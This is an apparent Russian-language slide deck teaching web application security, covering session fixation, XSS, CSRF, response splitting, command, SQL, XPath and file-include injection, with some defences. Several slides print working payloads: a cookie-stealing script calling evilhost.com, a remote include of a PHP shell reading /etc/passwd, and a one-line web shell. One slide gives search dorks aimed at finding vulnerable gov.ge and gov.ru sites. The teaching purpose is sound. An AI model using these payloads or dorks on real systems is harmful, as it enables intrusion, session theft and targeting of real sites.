33
Безопасность веб-приложений. Так ли опасна виртуальная угроза? Пропагандист и популяризатор php-джихада и медоед-стайл кодинга. Пишет SQL во вьюхах и несет $GLOBALS в массы. Александр Татульченков

Безопасность веб-приложений. Так ли опасна виртуальная угроза?

Embed Size (px)

DESCRIPTION

 

Citation preview

Page 1: Безопасность веб-приложений.  Так ли опасна виртуальная угроза?

Безопасность веб-приложений. Так ли опасна виртуальная угроза?

Пропагандист и популяризатор php-джихада и медоед-стайл кодинга.Пишет SQL во вьюхах и несет $GLOBALS в массы.

Александр Татульченков

Page 2: Безопасность веб-приложений.  Так ли опасна виртуальная угроза?

Источники проблем

• Любители мнят себя профессионалами

• Нацеленность на функциональность, а не безопасность

• Размер проекта превышает запланированный

Page 3: Безопасность веб-приложений.  Так ли опасна виртуальная угроза?

Дайте цифры

• Жертвы атак

• Последствия

Page 4: Безопасность веб-приложений.  Так ли опасна виртуальная угроза?

Анализ безопасности

• Что нужно защищать

• От кого нужно защищать

• Вероятность взлома и последствия

• Экономическая целесообразность

Page 5: Безопасность веб-приложений.  Так ли опасна виртуальная угроза?

Слои безопасности

• Инфраструктура• Приложение

Page 6: Безопасность веб-приложений.  Так ли опасна виртуальная угроза?

Аутентификация (Authentication)

• Подбор (brute force)

• Недостаточная аутентификация (Insufficient Authentication)

• Небезопасное восстановление паролей (Weak Password Recovery Validation)

Page 7: Безопасность веб-приложений.  Так ли опасна виртуальная угроза?

Подбор (Brute force)

Автоматизированный процесс проб и ошибок, использующийся для того, чтобы угадать имя пользователя, пароль, номер кредитной карточки, ключ шифрования и т.д.

Page 8: Безопасность веб-приложений.  Так ли опасна виртуальная угроза?

Недостаточная аутентификация (Insufficient Authentication)

Эта уязвимость возникает, когда Web-сервер позволяет атакующему получать доступ к важной информации или функциям сервера без должной аутентификации

Page 9: Безопасность веб-приложений.  Так ли опасна виртуальная угроза?

Небезопасное восстановление паролей (Weak Password Recovery Validation)

Эта уязвимость возникает, когда Web-сервер позволяет атакующему несанкционированно получать, модифицировать или восстанавливать пароли других пользователей

Page 10: Безопасность веб-приложений.  Так ли опасна виртуальная угроза?

Авторизация (Authorization)

• Предсказуемое значение идентификатора сессии (Credential/Session Prediction)

• Недостаточная авторизация (Insufficient Authorization)

• Отсутствие таймаута сессии (Insufficient Session Expiration)

• Фиксация сессии (Session Fixation)

• Кража сессии (Session Hijacking)

Page 11: Безопасность веб-приложений.  Так ли опасна виртуальная угроза?

Предсказуемое значение идентификатора сессии (Credential/Session Prediction)

Предсказуемое значение идентификатора сессии позволяет перехватывать сессии других пользователей

Page 12: Безопасность веб-приложений.  Так ли опасна виртуальная угроза?

Недостаточная авторизация

(Insufficient Authorization)

Недостаточная авторизация возникает, когда Web-сервер позволяет атакующему получать доступ к важной информации или функциям, доступ к которым должен быть ограничен

Page 13: Безопасность веб-приложений.  Так ли опасна виртуальная угроза?

Отсутствие таймаута сессии

(Insufficient Session Expiration)

В случае если для идентификатора сессии или учетных данных не предусмотрен таймаут или его значение слишком велико, злоумышленник может воспользоваться старыми данными для авторизации

Page 14: Безопасность веб-приложений.  Так ли опасна виртуальная угроза?

Фиксация сессии (Session Fixation)

Используя данный класс атак, злоумышленник присваивает идентификатору сессии пользователя заданное значение

http://example/<script>document.cookie="sessionid=1234;%20domain=.example.dom";</script>http://example/<script>document.cookie="sessionid=1234;%20domain=.example.dom";</script>

http://example/<meta%20http-equiv=Set-Cookie%20content= "sessionid=1234;%20domain= example.dom">http://example/<meta%20http-equiv=Set-Cookie%20content= "sessionid=1234;%20domain= example.dom">

Последовательность атаки

•Установление сессии

•Фиксация сессии

•Подключение к сессии

<?php

session_start();

if (!isset($_SESSION['initiated'])) {

session_regenerate_id();

$_SESSION['initiated'] = true;

}

?>

<?php

session_start();

if (!isset($_SESSION['initiated'])) {

session_regenerate_id();

$_SESSION['initiated'] = true;

}

?>

Page 15: Безопасность веб-приложений.  Так ли опасна виртуальная угроза?

Кража сессии (Session Hijacking)

Используя данный класс атак, злоумышленник может украсть идентификатор сессии пользователя

Указывайте домен и httpOnlyУказывайте домен и httpOnly

Page 16: Безопасность веб-приложений.  Так ли опасна виртуальная угроза?

Атаки на клиентов (Client-side Attacks)

• Подмена содержимого (Content Spoofing)

• Межсайтовое выполнение сценариев (Cross-site Scripting, XSS)

• Подделка межсайтовых запросов (Cross-site Request Forgery, CSRF)

• Расщепление HTTP-запроса (HTTP Response Splitting)

Page 17: Безопасность веб-приложений.  Так ли опасна виртуальная угроза?

Подмена содержимого

(Content Spoofing)

Используя эту технику, злоумышленник заставляет пользователя поверить, что страницы сгенерированны Web-сервером, а не переданы из внешнего источника

http://example.com/?url=http://hacker-site.com/spoofed-content.html

<HTML>

<FRAMESET COLS="100, *">

<FRAME NAME="pr_menu" SRC="menu.html">

<FRAME NAME="pr_content" SRC=“<?php echo $_GET[‘url’];?>">

</FRAMESET>

</HTML>

<HTML>

<FRAMESET COLS="100, *">

<FRAME NAME="pr_menu" SRC="menu.html">

<FRAME NAME="pr_content" SRC=“<?php echo $_GET[‘url’];?>">

</FRAMESET>

</HTML>

<script>

if(top.self != window){

window.location = 'http://yoursite.com';

}

</script>

<script>

if(top.self != window){

window.location = 'http://yoursite.com';

}

</script>

Page 18: Безопасность веб-приложений.  Так ли опасна виртуальная угроза?

Межсайтовое выполнение сценариев (Cross-site Scripting, XSS)

Наличие уязвимости Cross-site Scripting позволяет атакующему передать серверу исполняемый код, который будет перенаправлен браузеру пользователя

Подвиды атаки1. Активные (сохраненные) - вредоносный код сохраняется в базе/файле и напрямую выводится на уязвимой сайте в браузере. Например, в заголовках сообщений, теле постов и т.д.

2. Пассивные (отраженные) - вредоносный код передается GET/POST параметром и выводится на страницу, сохранение на сервер не происходит.

3. DOM скриптинг

<script>

var url = '<img src = "http://evilhost.com/sniffer.php?cookie=' + document.cookie + '">'; document.write(url);

</script>

<script>

var url = '<img src = "http://evilhost.com/sniffer.php?cookie=' + document.cookie + '">'; document.write(url);

</script>

+ADw-script+AD4-alert(document.location)+ADw-/script+AD4-+ADw-script+AD4-alert(document.location)+ADw-/script+AD4-

Page 19: Безопасность веб-приложений.  Так ли опасна виртуальная угроза?

ЗащитаКачественно фильтруйте пользовательские данные перед их выводом:

Не забывайте про html теги и двойные кавычки

Если это JS событие описанное в атрибуте html тега, помните, что нужно фильтровать не только кавычки, но и их html сущности &#x27; &#39; &apos; и т.д.

Если это JS код в атрибуте href тега a, то не забывайте, что при клике браузер их декодирует, а следовательно эта с виду безобидная строка тоже уязвимость:

<a href="javascript:alert('%27%29%3Bprompt%28%2FXSS%2F%29%3B%2F%2F');">lalala</a>

Но лучше, конечно же, не хранить JS код в href, для этого есть OnClick:)

Не забывайте что экранирования кавычек при выводе в теге script не достаточно

•Также следует запретить использование протоколов javascript: и data: во всех ссылках.

•Явно указывать кодировку страницы, не использовать в теге <title> контент генерируемый пользователем

•Указывать кодировку до тега <title>

Page 20: Безопасность веб-приложений.  Так ли опасна виртуальная угроза?

Подделка межсайтовых запросов

(Cross-site Request Forgery, CSRF)

Вид атак на посетителей веб-сайтов, использующий недостатки протокола HTTP.

<script>

function doit() {

html = '<img src=http://vkontakte.ru/profileEdit.php?page=contacts&subm=1&website=‘ +

‘http://tvoydohod.com>'; window.frames["frm"].document.body.innerHTML= html;

}

</script>

<iframe name="frm" onload="doit()" width="0" height="0"></iframe>

<script>

function doit() {

html = '<img src=http://vkontakte.ru/profileEdit.php?page=contacts&subm=1&website=‘ +

‘http://tvoydohod.com>'; window.frames["frm"].document.body.innerHTML= html;

}

</script>

<iframe name="frm" onload="doit()" width="0" height="0"></iframe>

Защита

•Проверка referer

•CSRT-token

Защита

•Проверка referer

•CSRT-token

Page 21: Безопасность веб-приложений.  Так ли опасна виртуальная угроза?

Расщепление HTTP-запроса

(HTTP Response Splitting)

При использовании данной уязвимости злоумышленник посылает серверу специальным образом сформированный запрос, ответ на который интерпретируется целью атаки как два разных ответа

<?php header(“Location: /index.php?lang=” . $_GET[‘lang’]);?>

HTTP/1.1 302 Moved Temporarily

Date: Sat, 02 Jun 2012 12:53:28 GMT

Location: http://10.1.1.1/index.php?lang=English

Server: Apache 2

271009 with

Content-Type: text/html

Set-Cookie:

PHPSID=1pMRZOiOQzZiE6Y6ii

ApqwBE!-1251019693; path=/

Connection: Close

/index.php?lang=foobar%0d%0aContent-Length: %200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a ContentLength: %201 9%0d%0a%0d%0a<html>Preved</html>

/index.php?lang=foobar%0d%0aContent-Length: %200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a ContentLength: %201 9%0d%0a%0d%0a<html>Preved</html>

HTTP/1.1 302 Moved Temporarily

Date: Wed, 24 Dec 2003 15:26:41 GMT

Location: http://10.1.1.1/index.php?lang=foobar

Content-Length: 0

HTTP/1.1 200 OK

Content-Type: text/html

Content-Length: 19

<html>Preved</html>

Page 22: Безопасность веб-приложений.  Так ли опасна виртуальная угроза?

Выполнение кода (Command Execution)

• Выполнение команд ОС (OS Commanding)

• Внедрение операторов SQL (SQL Injection)

• Внедрение операторов XPath (XPath Injection)

• LI / RI. Local Include, Remote Include

Page 23: Безопасность веб-приложений.  Так ли опасна виртуальная угроза?

Выполнение команд ОС

(OS Commanding)

Атаки этого класса направлены на выполнение команд операционной системы на Web-сервере путем манипуляции входными данными

http://example/directory.php?dir=%3Bcat%20/etc/passwd

<?php

exec("ls -la $dir",$lines,$rc);

?>

<?php

exec("ls -la $dir",$lines,$rc);

?>

Если вы собираетесь передавать функции пользовательские данные, используйте функции escapeshellarg() или escapeshellcmd() для того, чтобы пользователи не смогли обмануть систему, запустив произвольную команду.

Если вы собираетесь передавать функции пользовательские данные, используйте функции escapeshellarg() или escapeshellcmd() для того, чтобы пользователи не смогли обмануть систему, запустив произвольную команду.

Page 24: Безопасность веб-приложений.  Так ли опасна виртуальная угроза?

Внедрение операторов SQL

(SQL Injection)

$sql = "SELECT user FROM userslist WHERE userid=".mysql_real_escape_string($_GET['uid']);

Для проведения атаки на эту уязвимость от злоумышленника требуется просто не использовать символы " ' \x00 \r \n \x1a в векторе атаки. Например:/index.php?uid=-777 UNION SELECT password FROM userlist

Для проведения атаки на эту уязвимость от злоумышленника требуется просто не использовать символы " ' \x00 \r \n \x1a в векторе атаки. Например:/index.php?uid=-777 UNION SELECT password FROM userlist

• Mysql_real_escape_string

• Prepared statements (PDO)

• Mysql_real_escape_string

• Prepared statements (PDO)

Page 25: Безопасность веб-приложений.  Так ли опасна виртуальная угроза?
Page 26: Безопасность веб-приложений.  Так ли опасна виртуальная угроза?

Внедрение операторов Xpath

(Xpath Injection)

Следующее выражение на языке XPath позволяет

определить номер счета пользователя "jsmith" с паролем "Demo1234":

string(//user[name/text()='jsmith' and password/text()='Demo1234']/account/text()) string(//user[name/text()='jsmith' and password/text()='Demo1234']/account/text())

Если ввести в качестве имени пользователя следующее выражение:

' or 1=1 or ''= то получим:

string(//user[name/text()='' or 1=1 or ''='' and password/text()='foobar']/account/text())string(//user[name/text()='' or 1=1 or ''='' and password/text()='foobar']/account/text())

Page 27: Безопасность веб-приложений.  Так ли опасна виртуальная угроза?

Local File Include / Remote File Include

Наглядный пример файловой инъекции. Как применить?

http://server.com/somescript.php?module=http://evilhost.com/phpshell.txt&c=cat+/etc/passwd

Где файл phpshell.txt будет иметь подобное содержание

Не так часто встречаются, но имеют место быть. Пример уязвимого кода:

<?php $module = $_GET['module']; include($module); ?><?php $module = $_GET['module']; include($module); ?>

<?php echo @`$_GET[c]` ?><?php echo @`$_GET[c]` ?>

Page 28: Безопасность веб-приложений.  Так ли опасна виртуальная угроза?

Разглашение информации (Information Disclosure)

• Индексирование директорий (Directory Indexing)

• Идентификация приложений (Web Server/Application Fingerprinting)

• Утечка информации (Information Leakage)

• Обратный путь в директориях (Path Traversal)

• Предсказуемое расположение ресурсов (Predictable Resource Location)

Page 29: Безопасность веб-приложений.  Так ли опасна виртуальная угроза?

Логические атаки (Logical Attacks)

• Злоупотребление функциональными возможностями (Abuse of Functionality)

• Отказ в обслуживании (Denial of Service).

Page 30: Безопасность веб-приложений.  Так ли опасна виртуальная угроза?

Злоупотребление функциональными возможностями

- Использования функций поиска для получения доступа к файлам за пределами корневой

директории Web-сервера;

- Использование функции загрузки файлов на сервер для перезаписи файлов конфигурации или

внедрения серверных сценариев;

- Реализация отказа в обслуживании путем использования функции блокировки учетной записи

при многократном вводе неправильного пароля.

Page 31: Безопасность веб-приложений.  Так ли опасна виртуальная угроза?

Можно немножко конкретизировать под сообщение об ошибке в MySQLinurl:gov.ge inurl:php intext:sql syntax

Можно немножко конкретизировать под сообщение об ошибке в MySQLinurl:gov.ge inurl:php intext:sql syntax

inurl:gov.ru inurl:php intext:errorinurl:gov.ru inurl:php intext:error

Все сразу

inurl:"*.php?*=*"+ ( inurl:"*../*" + ( inurl:"LOAD_FILE" | inurl:"UNION" | inurl:"AND" ) ) + intext:"root:x:0:0:root:/root:**"

Все сразу

inurl:"*.php?*=*"+ ( inurl:"*../*" + ( inurl:"LOAD_FILE" | inurl:"UNION" | inurl:"AND" ) ) + intext:"root:x:0:0:root:/root:**"

Page 32: Безопасность веб-приложений.  Так ли опасна виртуальная угроза?

Nmap («Network Mapper») это бесплатная утилита с открытым исходным кодом для анализа сети и аудита безопасности систем. Яростные противники консоли могут использовать Zenmap, это GUI к Nmap'у.Это не просто «умный» сканер, это серьезный расширяемый инструмент. Типовой пример использования:

nmap -A -T4 localhost

Page 33: Безопасность веб-приложений.  Так ли опасна виртуальная угроза?

очень много чего умеет, но нам от него нужна одна из возможностей — определение, для каких сервисов есть эксплойты. Бесплатная версия продукта «home only»